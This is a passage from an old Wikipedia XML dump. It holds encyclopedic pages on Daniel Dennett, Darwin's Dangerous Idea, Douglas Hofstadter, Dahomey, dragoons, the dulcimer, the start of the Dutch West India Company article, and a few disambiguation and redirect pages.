:''&quot;[Others] note that my &quot;avoidance of the standard philosophical terminology for discussing such matters&quot; often creates problems for me; philosophers have a hard time figuring out what I am saying and what I am denying. My refusal to play ball with my colleagues is deliberate, of course, since I view the standard philosophical terminology as worse than useless--a major obstacle to progress since it consists of so many errors&quot;''  (Dennett, 1993)

Dennett will self-identify with a few terms.  In Consciousness Explained, he admits &quot;I am a sort of '[[Teleofunctionalism|teleofunctionalist]]', of course, perhaps the original teleofunctionalist'&quot;.  He goes on to say,&quot;I am ready to come out of the closet as a sort of [[Verificationism|verificationalist]]&quot;.

In ''Consciousness Explained'', Dennett's interest in the ability of evolution to explain some of the content-producing features of consciousness is already apparent, and this has since become an integral part of his program. Much of his work in the 1990s has been concerned with fleshing out his previous ideas by addressing the same topics from an evolutionary standpoint, from what distinguishes human minds from animal minds (''Kinds of Minds''), to how free will is compatible with a naturalist view of the world (''Freedom Evolves''). His most recent book is an attempt to subject religious belief to the same treatment, explaining possible evolutionary reasons for the phenomenon of religious groups.

== Role in Evolutionary Debate ==
Dennett's views on evolution are identified as being strongly [[Adaptationism|adaptationist]], in line with the views of zoologist [[Richard Dawkins]]. In ''[[Darwin's Dangerous Idea]]'', Dennett showed himself even more willing than Dawkins to defend adaptationism in print, devoting an entire chapter to a criticism of the views of paleontologist [[Stephen Jay Gould]]. This has led to some backlash from Gould and his supporters, who allege that Dennett overstated his claims and misrepresented Gould's. {{ref|1997Gould01}}

== Selected works ==
* ''Brainstorms'' : Philosophical Essays on Mind and Psychology (MIT Press [[1981]]) (ISBN 0262540371)
* ''[[Elbow Room]]: The Varieties of Free Will Worth Wanting'' (MIT Press [[1984]]) - on [[free will]] and [[determinism]] (ISBN 0262040778)
* ''[[The Mind's I]]'' (Bantam, Reissue edition [[1985]], with [[Douglas Hofstadter]]) (ISBN 0553345842)
* ''Content and Consciousness'' (Routledge &amp; Kegan Paul Books Ltd; 2nd ed edition January 1986) (ISBN 0710208464)
*''The Intentional Stance'' (MIT Press; Reprint edition [[1989]]) (ISBN 0262540533)
* ''[[Consciousness Explained]]'' (Back Bay Books [[1992]]) (ISBN 0316180661)
* ''[[Darwin's Dangerous Idea|Darwin's Dangerous Idea: Evolution and the Meanings of Life]]'' (Simon &amp; Schuster; Reprint edition [[1996]])  (ISBN 068482471X) 
* ''Kinds of Minds: Towards an Understanding of Consciousness'' (Basic Books 1997) (ISBN 0465073514)
* ''Brainchildren: Essays on Designing Minds (Representation and Mind)'' (MIT Press 1998) (ISBN 0262041669) - A Collection of Essays 1984-1996
* ''[[Freedom Evolves]]'' (Viking Press [[2003]]) (ISBN 0670031860)
* ''Sweet Dreams : Philosophical Obstacles to a Science of Consciousness (Jean Nicod Lectures)'' (Bradford Books 2005) (ISBN 0262042258)
* ''Breaking the Spell: Religion as a Natural Phenomenon'' (Penguin Group 2006) (ISBN: 067003472X)

== Texts on Dennett ==
* ''Daniel Dennett'' edited by Andrew Brook and Don Ross (Cambridge University Press 2000) (ISBN 0521008646) 
* ''Dennett's Philosophy: A Comprehensive Assessment'' edited by Don Ross, Andrew Brook and David Thompson (MIT Press 2000) (ISBN 0262182009)
* Dennett, among others, is discussed in John Brockman's ''[[The Third Culture]]''.
* ''On Dennett'' John Symons (Wadsworth Publishing Company 2000) (ISBN 053457632X)
* Dennett is mentioned on numerous occasions in David J. Chalmers' ''[[The Conscious Mind: In Search of a Fundamental Theory]]'', as Chalmers discusses his theory (ISBN 0195117891).

== Select Quote ==
A quote from Chapter 25 of ''Brainchildren'' that is fundamental to understanding Dennett's work:

:&quot;The first stable conclusion I reached &amp;hellip; was that the only thing brains could do was to approximate the responsivity to meanings that we presuppose in our everyday mentalistic discourse. When mechanical push comes to shove, a brain was always going to do what it was caused to do by current, local, mechanical circumstances, whatever it ought to do, whatever a God's-eye view might reveal about the actual meaning of its current states. But over the long haul, brains could be designed - by [[evolutionary]] processes - to do the right thing (from the point of view of meaning) with high reliability. &amp;hellip; [B]rains are [[syntactic]] engines that can mimic the competence of [[semantic]] engines. &amp;hellip; The appreciation of meanings - their discrimination and delectation - is central to our vision of consciousness, but this conviction that I, on the inside, deal directly with meanings turns out to be something rather like a benign &quot;user-illusion&quot;.



== See also ==
* [[Cartesian materialism]]
* [[Heterophenomenology]]
* [[Multiple drafts theory | Multiple drafts theory of consciousness]]
* [[Jean Nicod Prize|List of Jean Nicod Prize laureates]]

== External links ==
{{wikiquote}}
*[http://ase.tufts.edu/cogstud/~ddennett.htm Daniel C. Dennett's homepage at Tufts University]
*[http://ase.tufts.edu/cogstud/  The Center for Cognitive Studies at Tufts University]
*[http://www.pbs.org/saf/1103/features/dennett.htm Scientific American Frontiers Profile: Daniel Dennett]
*[http://books.guardian.co.uk/departments/politicsphilosophyandsociety/story/0,,1193371,00.html 'The Semantic Engineer']- a biographical essay from [[The Guardian]], April 17, 2004
*[http://www.edge.org/3rd_culture/bios/dennett.html Edge/Third Culture: Daniel C. Dennett]
*[http://www.philosophers.co.uk/cafe/phil_apr2003.htm The Philosophers Magazine: Philosopher of the Month, April 2003: Dan Dennett]
*[http://ase.tufts.edu/cogstud/pubpage.htm Publication List by Daniel Dennett and other Tufts' Center for Cognitive Studies associates]
*[http://sun3.lib.uci.edu/%7Escctr/philosophy/dennett/ Searchable bibliography of Dennett's works]
*[http://www.the-brights.net/dennett_nyt.htm Article about Dennett's naturalistic worldview from the New York Times, July 2003]
*[http://www.reason.com/0305/fe.rb.pulling.shtml  Pulling Our Own Strings]- ''[[Reason (magazine)|Reason]]'' magazine interviews Dennett
*{{Note|1997Gould01}}[http://cogweb.ucla.edu/Debate/Gould.html 'Evolution: The pleasures of Pluralism']- Stephen Jay Gould's review of ''Darwin's Dangerous Idea''
*[http://www.nytimes.com/2006/02/19/books/review/19wieseltier.html The God Genome] - An article by Leon Wieseltier critical of Dennett's beliefs in light of Dennett's latest book ''Breaking the Spell: Religion as a Natural Phenomenon''.

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  <page>
    <title>Darwin's Dangerous Idea</title>
    <id>8757</id>
    <revision>
      <id>39634075</id>
      <timestamp>2006-02-14T20:52:46Z</timestamp>
      <contributor>
        <username>DanielCD</username>
        <id>81016</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[image:Darwin's Dangerous Idea.jpg|thumb|right|cover]]
'''''Darwin's Dangerous Idea: Evolution and the Meanings of Life''''' ([[1995]]) is a [[controversial book]] by [[Daniel Dennett]] that argues that [[Darwinian process]]es are the central organising force not only in [[biology]] (which is not controversial), but also in most other aspects of the [[Universe]], including the human mind (see [[Neural Darwinism]]).

Dennett regards Darwinism as a &quot;universal [[acid]]&quot; that eats through virtually all traditional beliefs, especially [[Christianity]]. He calls Darwin's [[theory of evolution]] by [[natural selection]] &quot;the single best idea anybody ever had.&quot; 

People &quot;used to think of meaning coming from on high and being ordained from the top down,&quot; Dennett says, but we must now &quot;replace the traditional idea of God the [[creationism|creator]] with the idea of the process of natural selection doing the creating.&quot; 

Selected quotations (page numbers in parentheses):

*&quot;Darwin's dangerous idea cuts much deeper into the fabric of our most fundamental beliefs than many of its sophisticated apologists have yet admitted, even to themselves.&quot; (18)

*&quot;To put it bluntly but fairly, anyone today who doubts that the variety of life on this planet was produced by a process of evolution is simply ignorant--inexcusably ignorant.&quot; (46)

*&quot;Evolutionists who see no conflict between evolution and their religious beliefs have been careful not to look as closely as we have been looking, or else hold a religious view that gives God what we might call a merely ceremonial role to play.&quot; (310)

*&quot;Those whose visions dictate that they cannot peacefully coexist with the rest of us we will have to [[quarantine]] as best we can. . . . If you insist on teaching your children falsehoods--that the Earth is flat, that 'Man' is not a product of evolution by natural selection--then you must expect, at the very least, that those of us who have freedom of speech will feel free to describe your teachings as the spreading of falsehoods, and will attempt to demonstrate this to your children at the earliest opportunity. Our future well-being--the well-being of all of us on this planet--depends on the education of our descendants. What, then, of all the glories of our religious traditions? They should certainly be preserved, as should the languages, the art, the costumes, the rituals, the monuments.&quot; (519)

*[Dennett recommends that religion be] &quot;preserved in cultural zoos. . . .&quot; [http://ase.tufts.edu/cogstud/papers/rearesponse.htm]

*&quot;Is something [[sacred]]? Yes, I say with [[Nietzsche]]. I could not pray to it, but I can stand in affirmation of its magnificence. This world is sacred.&quot; (520)

==References==

{{Harvard reference
| Author=Dennett, Daniel
| Title=Darwin's Dangerous Idea
| SubTitle=Evolution and the Meaning of Life
| Year=1995
| Publisher=Simon &amp; Schuster
| ID=ISBN 068482471X
}}.

==See also==
*[[Greedy reductionism]]

==External links==
*[http://www.scientificexploration.org/jse/bookreviews/11-2/dennett.html Book review] in the ''Journal of Scientific Exploration''.

[[Category:1995 books]]
[[Category:Science books]]
[[Category:Biology books]]

[[pt:A ideia perigosa de Darwin]]</text>
    </revision>
  </page>
  <page>
    <title>Douglas Hofstadter</title>
    <id>8758</id>
    <revision>
      <id>42009240</id>
      <timestamp>2006-03-03T04:49:08Z</timestamp>
      <contributor>
        <username>PKtm</username>
        <id>428377</id>
      </contributor>
      <minor />
      <comment>/* Biography */  wikilink</comment>
      <text xml:space="preserve">'''Douglas Richard Hofstadter''' (born [[February 15]], [[1945]]) is an [[United States|American]] academic. He is probably best known for his book ''[[Gödel, Escher, Bach|Gödel, Escher, Bach: an Eternal Golden Braid]]'' (abbreviated as GEB) which was published in [[1979]], and won the [[1980]] [[Pulitzer Prize]] for general non-fiction. This book inspired thousands of students to begin careers in [[computing]] and [[artificial intelligence]].{{fact}}

==Biography==
The son of [[Nobel Prize]]-winning physicist [[Robert Hofstadter]], he received his [[Doctor of Philosophy|Ph.D.]] in [[Physics]] from the [[University of Oregon]] in [[1975]]. [[As of 2005]], he is a College Professor of Cognitive Science and Computer Science; Adjunct Professor of History and Philosophy of Science, Philosophy, Comparative Literature, and Psychology at [[Indiana University Bloomington]], where he directs the [http://www.cogsci.indiana.edu Center for Research on Concepts and Cognition].

Hofstadter is [[multilingual]]; he spent a few years in [[Sweden]] in the mid-[[1960s]], where he learned [[Swedish language|Swedish]]. In addition, he speaks (besides [[English language|English]]) [[Italian language|Italian]], [[French language|French]], [[German language|German]]; his knowledge of these languages can be partly attributed to having spent a year of his youth in [[Geneva]]. He also speaks some [[Russian (language)|Russian]]: he translated parts of GEB into Russian, and published a verse translation of [[Pushkin]]'s ''[[Eugene Onegin]]''. In ''[[Le Ton beau de Marot]]'' (written in memory of his late wife Carol) he describes himself as a &quot;[[pi]]lingual&quot; (conversant in 3.14159 languages) and an &quot;''[[oligoglot]]''&quot; (speaker of few languages).

His interests include [[music]], themes of the [[mind]], [[creativity]], [[consciousness]], [[self-reference]], [[translation]], and [[mathematical game]]s.

==Work==
At Indiana University Bloomington he co-authored with [[Melanie Mitchell]] and others, a [[cognitive model]] of &quot;high-level perception&quot;, [[Copycat (software)|Copycat]], and several other models of [[Analogy|analogy making]] and [[Cognition|cognition]]. The Copycat project has since grown into 'Metacat' and 'Magnificat' and has been worked on by Hofstadter and several assistants.  A 2002 overview can be found [http://www.cs.pomona.edu/~marshall/metacat/dissertation.pdf here (PDF)].  Other new models based on the Copycat 'FARGitecture' include SeekWell and SeqSee, which model cognition and analogy in musical and number sequence domains respectively.

Hofstadter has not published much in conventional academic journals (except during his early physics career, see below), preferring the freedom of expression of large books of collected ideas.  As such, his great influence on computer science is somewhat subversive and underground - his work has inspired countless research projects, but is not always formally referenced.

When [[Martin Gardner]] retired from writing his ''[[Mathematical Games]]'' column for ''[[Scientific American]]'' magazine, Hofstadter succeeded him with a column entitled ''[[Metamagical Themas]]'' (an anagram of &quot;Mathematical Games&quot;). Hofstadter also invented the concept of ''Reviews of This Book'', a book containing nothing but cross-referenced reviews of itself (the idea was introduced in ''Metamagical Themas''): 
:''&quot;[it] is just a fantasy of mine. I would love to see a book consisting of nothing but a collection of reviews of it that appeared (after its publication, of course) in major newspapers and magazines. It sounds paradoxical, but it could be arranged with a lot of planning and hard work. First, a group of major journals would all have to agree to run reviews of the book by the various contributors to the book. Then all the reviewers would begin writing. But they would have to mail off their various drafts to all the other reviewers very regularly so that all the reviews could evolve together, and thus eventually reach a stable state of a kind known in physics as a &quot;Hartree-Fock self-consistent solution&quot;. Then the book could be published, after which its reviews would come out in their respective journals, as per arrangement.&quot;''

Apparently, [[Idries Shah]] has attempted this, or at least something similar, with [[The Book of the Book]] (ISBN 090086012X).

==Published works==
===Books===
The books published by Hofstadter are (the ISBNs refer to paperback editions, where available):

*''[[Gödel, Escher, Bach|Gödel, Escher, Bach: an Eternal Golden Braid]]'' (ISBN 0465026567)
*''[[Metamagical Themas]]'' (ISBN 0465045669) (collection of ''Scientific American'' columns)
*''Ambigrammi: un microcosmo ideale per lo studio della creatività'' (in Italian only)
*''[[Fluid Concepts and Creative Analogies]]'' (ISBN 0465024750)
*''[[Rhapsody on a Theme by Clement Marot. The Grace A. Tanner Lecture in Human Values, 1995.]]'' (Published 1996)
*''[[Le Ton beau de Marot]]: In Praise of the Music of Language'' (ISBN 0465086454)
*A verse translation of ''[[Eugene Onegin]]'' by [[Aleksandr Pushkin]] (ISBN 0465020941)
*''Jason Salavon: Brainstem Still Life'' (ISBN 9810516622) (Introduction)
*''I Am a Strange Loop'' (ISBN 0465030785) (to be released March 31, 2006)

===Papers===
Hofstadter wrote, among many others, the following papers:

*&quot;''Energy levels and wave functions of Bloch electrons in rational and irrational magnetic fields''&quot;, ''Phys. Rev. B'' '''14''' (1976) 2239.
**Written while he was at the [[University of Oregon]], this paper was enormously influential in directing further research.  Hofstadter predicted that the allowed [[energy level]] values of an [[electron]] in this [[crystal]] lattice, as a function of a [[magnetic field]] applied to the system, formed a [[fractal]] set.  That is, the distribution of energy levels for large scale changes in the applied magnetic field repeat patterns seen in the small scale structure.  This fractal structure is generally known as &quot;Hofstadter's butterfly&quot;, and has recently been confirmed in transport measurements in two-dimensional electron systems with a superimposed nano-fabricated lattice.
*&quot;''A non-deterministic approach to analogy, involving the Ising model of ferromagnetism''&quot;, in E. Caianiello (ed.), ''The Physics of Cognitive Processes''. Teaneck, NJ: World Scientific, 1987.
*&quot;''Speechstuff and thoughtstuff: Musings on the resonances created by words and phrases via the subliminal perception of their buried parts''&quot;, in Sture Allen (ed.), ''Of Thoughts and Words: The Relation between Language and Mind. Proceedings of the Nobel Symposium 92'', London/New Jersey: World Scientific Publ., 1995, 217-267.
*&quot;''On seeing A's and seeing As.''&quot;, ''Stanford Humanities Review'' 4,2 (1995) pp. 109-121.
*&quot;''Analogy as the Core of Cognition''&quot;, in [[Dedre Gentner]], Keith J. Holyoak, and [[Boicho Kokinov]] (eds.) ''The Analogical Mind: Perspectives from Cognitive Science'', Cambridge, MA: The MIT Press/Bradford Book, 2001, pp. 499-538.
*Hofstadter also wrote over 50 papers that were published through the [[Center for Research on Concepts and Cognition]], See [http://www.cogsci.indiana.edu/phard.html].

===Involvement in other books===
Hofstadter wrote forewords for or edited the following books:

*''[[The Mind's I]]'' (co-edited with [[Daniel Dennett]]) (ISBN 0465030912)
*''[[Alan Turing: The Enigma]]'' by [[Andrew Hodges]]. (Preface)
*''Gödel's Proof'' ([[2002]] revised edition) by [[Ernest Nagel]] and [[James R. Newman]], edited by Hofstadter (ISBN 0814758169).  Hofstadter claimed the book (originally published in [[1958]]) was highly influential to his thinking during his early years.
*''[[Who invented the computer? The legal battle that changed computing history.]]'' ([[2003]]) by Alice Rowe Burks. 
*''[[Alan Turing: Life and Legacy of a Great Thinker]]'' by [[Christof Teuscher]] (Editor)

===Miscellaneous===
*The film ''[[Victim of the Brain]]'' was based on Hofstadter's work, and was co-directed by philosopher [[Daniel Dennett]], who co-authored ''[[The Mind's I]]'' with him.
*He published an audio [[compact disc|CD]] with [[piano]] music composed by himself and performed by Jane Jackson, Brian Jones, Dafna Barenboim, Gitanjali Mathur and himself.

== Students ==
Some of Hofstadter's former students have also become famous:
*[[David Chalmers]] - philosopher of mind
*[[Melanie Mitchell]] - creator of [[Copycat (software)|Copycat]]
*[[Robert French]] - researches analogies

== Hofstadter's Law ==
In ''Gödel, Escher, Bach'', Hofstadter states the oft-cited Hofstadter's Law, a self-referencing [[adage]], which reads as follows:

:''It [a task] always takes longer than you expect, even when you take into account Hofstadter's Law''

== See also ==
*[[Kurt Gödel]]
*[[Gödel's incompleteness theorem]]
*[[M.C. Escher]]
*[[Johann Sebastian Bach]]
*[[Daniel Dennett]]
*[[Copycat (software)|Copycat software]]
*[[Egbert B. Gebstadter]]

== External links ==
{{wikiquote}}
*[http://www.cogs.indiana.edu/people/homepages/hofstadter.html Douglas Hofstadter's home page]
*[http://www.indiana.edu/~alldrp/members/hofstadter.html Indiana University's Douglas Hofstadter webpage]
*[http://www.reenigne.org/review.html Online implementation of his ''Reviews of this Book'' idea]

[[Category:1945 births|Hofstadter, Douglas]]
[[Category:Living people|Hofstadter, Douglas]]
[[Category:Artificial intelligence researchers|Hofstadter, Douglas]]
[[Category:Pulitzer Prize winners|Hofstadter, Douglas]]
[[Category:Science writers|Hofstadter, Douglas]]
[[Category:Cognitive scientists|Hofstadter, Douglas]]
[[Category:Puzzle designers|Hofstadter, Douglas]]
[[Category:20th century philosophers|Hofstadter, Douglas]]
[[Category:21st century philosophers|Hofstadter, Douglas]]
[[Category:Philosophers of mind]]
&lt;!-- Metadata: see [[Wikipedia:Persondata]] --&gt;
{{Persondata
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[[de:Douglas R. Hofstadter]]
[[es:Douglas Hofstadter]]
[[fr:Douglas Hofstadter]]
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[[zh:道格拉斯·理查·郝夫斯臺特]]</text>
    </revision>
  </page>
  <page>
    <title>Daemon</title>
    <id>8759</id>
    <revision>
      <id>37959007</id>
      <timestamp>2006-02-03T05:10:02Z</timestamp>
      <contributor>
        <username>Epastore</username>
        <id>572603</id>
      </contributor>
      <minor />
      <comment>fixed link</comment>
      <text xml:space="preserve">The term '''Daemon''' has several meanings:
*[[Daemon (mythology)]] - see also [[Demon]]
*[[Daemon (computer software)]], a background process
*[[Dæmon (His Dark Materials)]] in the [[Philip Pullman]] trilogy of novels ''[[His Dark Materials]]''
*[[Daemon (Warhammer)]]
*[[Daemon (Warcraft)]]
*Daemon Sadi (SaDiablo) is a character in the [[Black Jewels Trilogy]] by [[Anne Bishop]].
*''[[The Dæmons]]'' is a serial in the [[United Kingdom|British]] [[science fiction on television|science fiction television]] series ''[[Doctor Who]]''
*[[Daemon (Digimon)]]
*Daemon is a character in the TV series [[ReBoot#Characters|ReBoot]].
*The [[BSD Daemon]] is the BSD operating system's mascot.
*[[Daemon (band)|Daemon]] is a Swedish [[death metal]] band.
*Daimon is a computerized sub-personality in the novel ''[[Aristoi (novel)|Aristoi]]''

==See also==
*[[Daimon]] (alternate spelling)
*[[ZDaemon]] - A modern version of the game [[DOOM]]

''For more possible meanings see'' [[Demon (disambiguation)]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Depression and Mood Disorders</title>
    <id>8760</id>
    <revision>
      <id>15906714</id>
      <timestamp>2003-07-14T17:59:16Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[mood disorder]]</text>
    </revision>
  </page>
  <page>
    <title>Dahomey</title>
    <id>8765</id>
    <revision>
      <id>37483748</id>
      <timestamp>2006-01-31T06:57:39Z</timestamp>
      <contributor>
        <username>Crazysunshine</username>
        <id>183402</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Dahomey''' was a kingdom in [[Africa]], situated in what is now the nation of [[Benin]]. The kingdom was founded in the [[seventeenth century]] and survived until the late [[nineteenth century]], when it was conquered by [[French colonies|French]] troops from [[Senegal]] and incorporated into France's [[West Africa]]n [[colonialism|colonies]]. 

The origins of Dahomey can be traced back to a group of [[Aja people|Aja]] from the coastal kingdom of [[Allada]] who moved northwards and settled among the [[Fon people]] of the interior. By about [[1650]], the Aja managed to dominate the Fon and [[Wegbaja]] declared himself king of their joint territory. Based in his capital of [[Agbome]], Wegbaja and his successors succeeded in establishing a highly centralized state with a deep-rooted kingship [[cult]] of sacrificial offerings, including human sacrifices, to the ancestors of the monarch. All land was owned directly by the king, who collected taxes from all crops that were produced.

Economically, however, Wegbaja and his successors profited mainly from the [[slave trade]] and relations with slavers along the coast. As Dahomey's kings embarked on wars to expand their territory, they began using [[rifle]]s and other firearms traded with French and Spanish slave-traders for young men captured in battle, who fetched a very high price from the European slave-merchants. Under King [[Agadja]] (ruled [[1708]]-[[1732]]) the kingdom conquered Allada, where the ruling family originated, thereby gaining direct contact with European slave traders on the coast. Nevertheless, Agadja was unable to defeat the neighbouring kingdom of [[Oyo]], Dahomey's chief rival in the slave trade, and in [[1730]], he became a tributary of [[Oyo]], though he still managed to maintain Dahomey's independence.

Even as a tributary state, Dahomey continued to expand and flourish because of the slave trade and later through the export of palm oil from large plantations that emerged. Because of the economic structure of the kingdom, the land belonged to the king, who had a virtual monopoly on all trade.

As one of West Africa's principal slave states, Dahomey became extremely unpopular with neighbouring peoples. Historian [[Walter Rodney]] estimates that by c.1770, the King of Dahomey was earning an estimated £250,000 per year by selling captive African soldiers and even his own people to the European slave-traders. Most of this money was spent on British-made firearms (of very poor quality) and industrial-grade alcohol. Dahomey was finally conquered by France in [[1892]]-[[1894]]. Most of the troops that fought against Dahomey were native African, and it has been surmised by several historians that neighbouring tribes, particularly the [[Yoruba]], were only too happy to bring about the Kingdom's collapse in favour of liberal [[France|French]] rule.

In [[1958]], Dahomey became an autonomous republic, and from there, it would gain full independence in [[1960]]. The Republic of Dahomey changed its name to Benin in [[1975]].

In [[1971]], American novelist [[Frank Yerby]] published ''[[The Man From Dahomey]]'', a historical novel set partially in Dahomey, which does a good job of unfolding Dahomean culture to the reader.

==Kings of Dahomey==
*[[Gangnihessou]] ???? - [[1620]]
*[[Dakodonou]], [[1620]]-[[1645]]
*[[Houegbadja]], [[1645]]-[[1685]]
*[[Akaba]], [[1685]]-[[1708]]
*[[Agadja]], [[1708]]-[[1732]]
*[[Tegbessou]], [[1732]]-[[1774]]
*[[Kpengla]], [[1774]]-[[1789]]
*[[Agonglo]], [[1789]]-[[1797]]
*[[Adandozan]], [[1797]]-[[1818]]
*[[Ghezo]], [[1818]]-[[1856]]
*[[Glele]], [[1856]]-[[1889]]
*[[Behanzin]], [[1889]]-[[1894]]

''See also:'' 
* [[Rulers of the Fon state of Danhome]] 
* [[Dahomey Amazons]]

{{Former French colonies}}

[[Category:Dahomey| ]]
 

[[de:Dahomey (Königreich)]]
[[et:Dahomee]]
[[fa:داهومی]]
[[fr:Dahomey]]
[[is:Dahómey]]
[[he:דהומיי]]
[[hu:Dahomey]]
[[nl:Dahomey]]
[[ja:ダホメ王国]]
[[pl:Dahomej]]
[[pt:Daomé]]
[[ro:Dahomey]]
[[tl:Dahomey]]</text>
    </revision>
  </page>
  <page>
    <title>Doctors Without Borders</title>
    <id>8766</id>
    <revision>
      <id>15906716</id>
      <timestamp>2003-03-29T18:22:54Z</timestamp>
      <contributor>
        <username>Hephaestos</username>
        <id>3628</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Médecins Sans Frontières]]</text>
    </revision>
  </page>
  <page>
    <title>Dragoon</title>
    <id>8767</id>
    <revision>
      <id>41548684</id>
      <timestamp>2006-02-28T02:10:38Z</timestamp>
      <contributor>
        <ip>24.65.66.178</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{mergefrom|mounted infantry}}
{{alternateuses}}
[[Image:Dragoon-illustration.jpeg|right|thumb|A light dragoon from the American Revolution]]
[[Image:Dragon-ArcLouvres.jpg|thumb|Statue of a dragoon on the Triumph Arc of the Louvres in Paris]]
During the late 17th and early 18th centuries a '''dragoon''' was traditionally a [[soldier]] trained to fight on foot, but transport himself on [[horse]]back.  In other words, he moved as [[cavalry]] but fought as [[infantry]].  The name derives from the dragoon's primary weapon, a [[carbine]] or short [[musket]] called the ''dragon''. Sometimes, dragon carbines are said to have been so-called because they &quot;breathed fire&quot; &amp;mdash; a reference to the smoke they emitted when fired.

Dragoons were organized not in [[squadron]]s or [[troop]]s like the horse, but in [[company (military unit)|companies]] like the foot, and their [[commissioned officer|officers]] and [[non-commissioned officer]]s bore infantry ranks. The flexibility of mounted infantry made dragoons a useful arm, especially when employed for what would now be termed &quot;internal security work&quot; against smugglers or civil unrest. The dragoon regiments were also cheaper to recruit and maintain than the notoriously expensive regiments of horse. However, dragoons were at a disadvantage when engaged against true cavalry, and constantly sought to raise their horsemanship, armament and social status to the levels of the horse regiments. Thus, &quot;dragoon&quot; had come to mean medium cavalry by the time of the early wars of [[Frederick the Great]], in the [[1740s]]. 

The term &quot;to dragoon&quot; dates from the earlier mounted infantry period.  Dragoons were the most efficient and economical form of cavalry for [[police]] work and [[guerrilla warfare|guerrilla]] warfare.

From the late 18th century, some regiments started to be designated as Light Dragoons, who rode faster and lighter horses and carried lighter [[sabre]]s. They were trained in [[reconnaissance]], [[skirmish]]ing and other work requiring speed. In the early [[19th century]], the [[United Kingdom|British]] Light Dragoon regiments converted to [[Lancer]]s and [[Hussar]]s. Between 1881 and 1910 all Russian cavalry other than cossacks and Imperial Guard units were designated as dragoons, reflecting an emphasis on dismounted action in their training. In 1914 there were still dragoon regiments in the British, French, German, Russian, Austro-Hungarian and Spanish armies. Their uniforms varied greatly, lacking the common features of hussar or lancers regiments. 

A current unit designated as Dragoons is the [[United States Army]]'s [[2d Armored Cavalry Regiment]]. Known as the &quot;2d Dragoons&quot;, it was organized as the Second Dragoon Regiment until it was renamed the Second Cavalry Regiment in 1860.  It is the oldest active cavalry combat unit in the U.S. military and uses [[Stryker]] infantry fighting vehicles in the same manner that horses were once used.

In the present-day [[British Army]], one regiment is designated [[The Light Dragoons]] and three as [[Dragoon guards|Dragoon Guards]]. In the [[Territorial Army]], one of the five squadrons of the [[Royal Yeomanry]], W ([[Westminster Dragoons]]) Squadron, also bears the title of a former dragoon regiment.

In Canada, the [[Royal Canadian Mounted Police]] have the status of a regiment of Dragoons. The senior [[armoured]] regiment in the [[Canadian Forces]] is the [[Royal Canadian Dragoons]]
==See also==
* [[Mounted infantry]]
* [[Dragonnades]]
* [[Dragoon guards]]
* [[1st Continental Light Dragoons]]
* [[2nd Continental Light Dragoons]]
* [[3rd Continental Light Dragoons]]
* [[4th Continental Light Dragoons]]
* [[Langdon's Company of Light Horse Volunteers]]
* [[Corps of North Carolina Light Dragoons]]

==External links==
*[http://www.westminsterdragoons.co.uk Westminster Dragoons]
*[http://www.saskd.ca/opportunities.htm Saskatchewan Dragoons]
*[http://www.militaryhorse.org/ Society of the Military Horse]
*[http://www.bcdragoon.ca/ British Colubmbia Dragoons]

[[Category:Cavalry]] [[Category:Infantry]]

[[da:Dragon]]
[[de:Dragoner]]
[[es:Dragón (militar)]]
[[fr:Dragon (militaire)]]
[[io:Dragono]]
[[nl:Dragonder]]
[[ja:ドラグーン]]
[[no:Dragon]]
[[pl:Dragoni (wojsko)]]
[[ru:Драгун]]
[[sv:Dragon (soldat)]]</text>
    </revision>
  </page>
  <page>
    <title>Dulcimer</title>
    <id>8768</id>
    <revision>
      <id>37896127</id>
      <timestamp>2006-02-02T21:13:28Z</timestamp>
      <contributor>
        <username>Dsreyn</username>
        <id>423367</id>
      </contributor>
      <comment>Removed &quot;three-course&quot; from Appalachian dulcimer description - various numbers are common</comment>
      <text xml:space="preserve">'''Dulcimer''' is the name given to two types of stringed [[musical instrument]]:

* The [[Appalachian dulcimer]], a [[fret]]ted, plucked instrument which is also referred to as a ''mountain dulcimer'' or just a ''dulcimer'', and
* The [[Hammered dulcimer]], which is a hammer-struck, [[trapezoid]]-shaped [[zither]]

The instruments are quite different, but are both members of the zither family of instruments.

{{disambig}}

[[Category:String instruments]]

[[de:Dulcimer]]
[[eo:zimbalono]]
[[fr:Dulcimer]]
[[nl:Hammered dulcimer]]</text>
    </revision>
  </page>
  <page>
    <title>Dutch West India Company</title>
    <id>8769</id>
    <revision>
      <id>40865910</id>
      <timestamp>2006-02-23T14:58:31Z</timestamp>
      <contributor>
        <username>Nick Taylor</username>
        <id>699162</id>
      </contributor>
      <minor />
      <comment>Added Category:History of Guyana</comment>
      <text xml:space="preserve">'''Dutch West India Company''' ([[Dutch language|Dutch]]: ''West-Indische Compagnie'' or ''WIC'') was a company of [[The Netherlands|Dutch]] [[merchant]]s. On [[June 3]], [[1621]], it was granted a [[chartered company|charter]] for a trade monopoly in the [[West Indies]] (meaning the Caribbean) by the [[Republic of the Seven United Netherlands]] and given jurisdiction over the [[African slave trade]], [[Brazil]], the [[Caribbean]], and [[North America]]. The area where the company could operate consisted of [[West Africa]] (the area between the [[Tropic of Cancer]] and [[Cape of Good Hope]]) and the [[Americas]], which included the [[Pacific Ocean]] and the eastern part of [[New Guinea]]. The intended purpose of the charter was to eliminate competition, particularly Spanish or Portuguese, between the various trading posts established by the merchants. The company became instrumental in the [[Dutch colonization of the Americas]].

The WIC was organised similar to the (far greater and richer) [[Dutch East India Company]] (VOC), which had a trade monopoly for [[Asia]] (mainly present Indonesia) since [[1602]], except for the fact that the WIC was not allowed to conduct military operations without approval of the Dutch government. Like the VOC, the company had five offices, called chambers (''kamers''), in [[Amsterdam]], [[Rotterdam]] (both in Holland), [[Middelburg]] (in Zeeland), [[Hoorn]] and [[Groningen (city)]] (in the north), of which the chambers in Amsterdam and Middelburg contributed most to the company. The board consisted of 19 members, known as the [[Heeren XIX]] ('Lords').

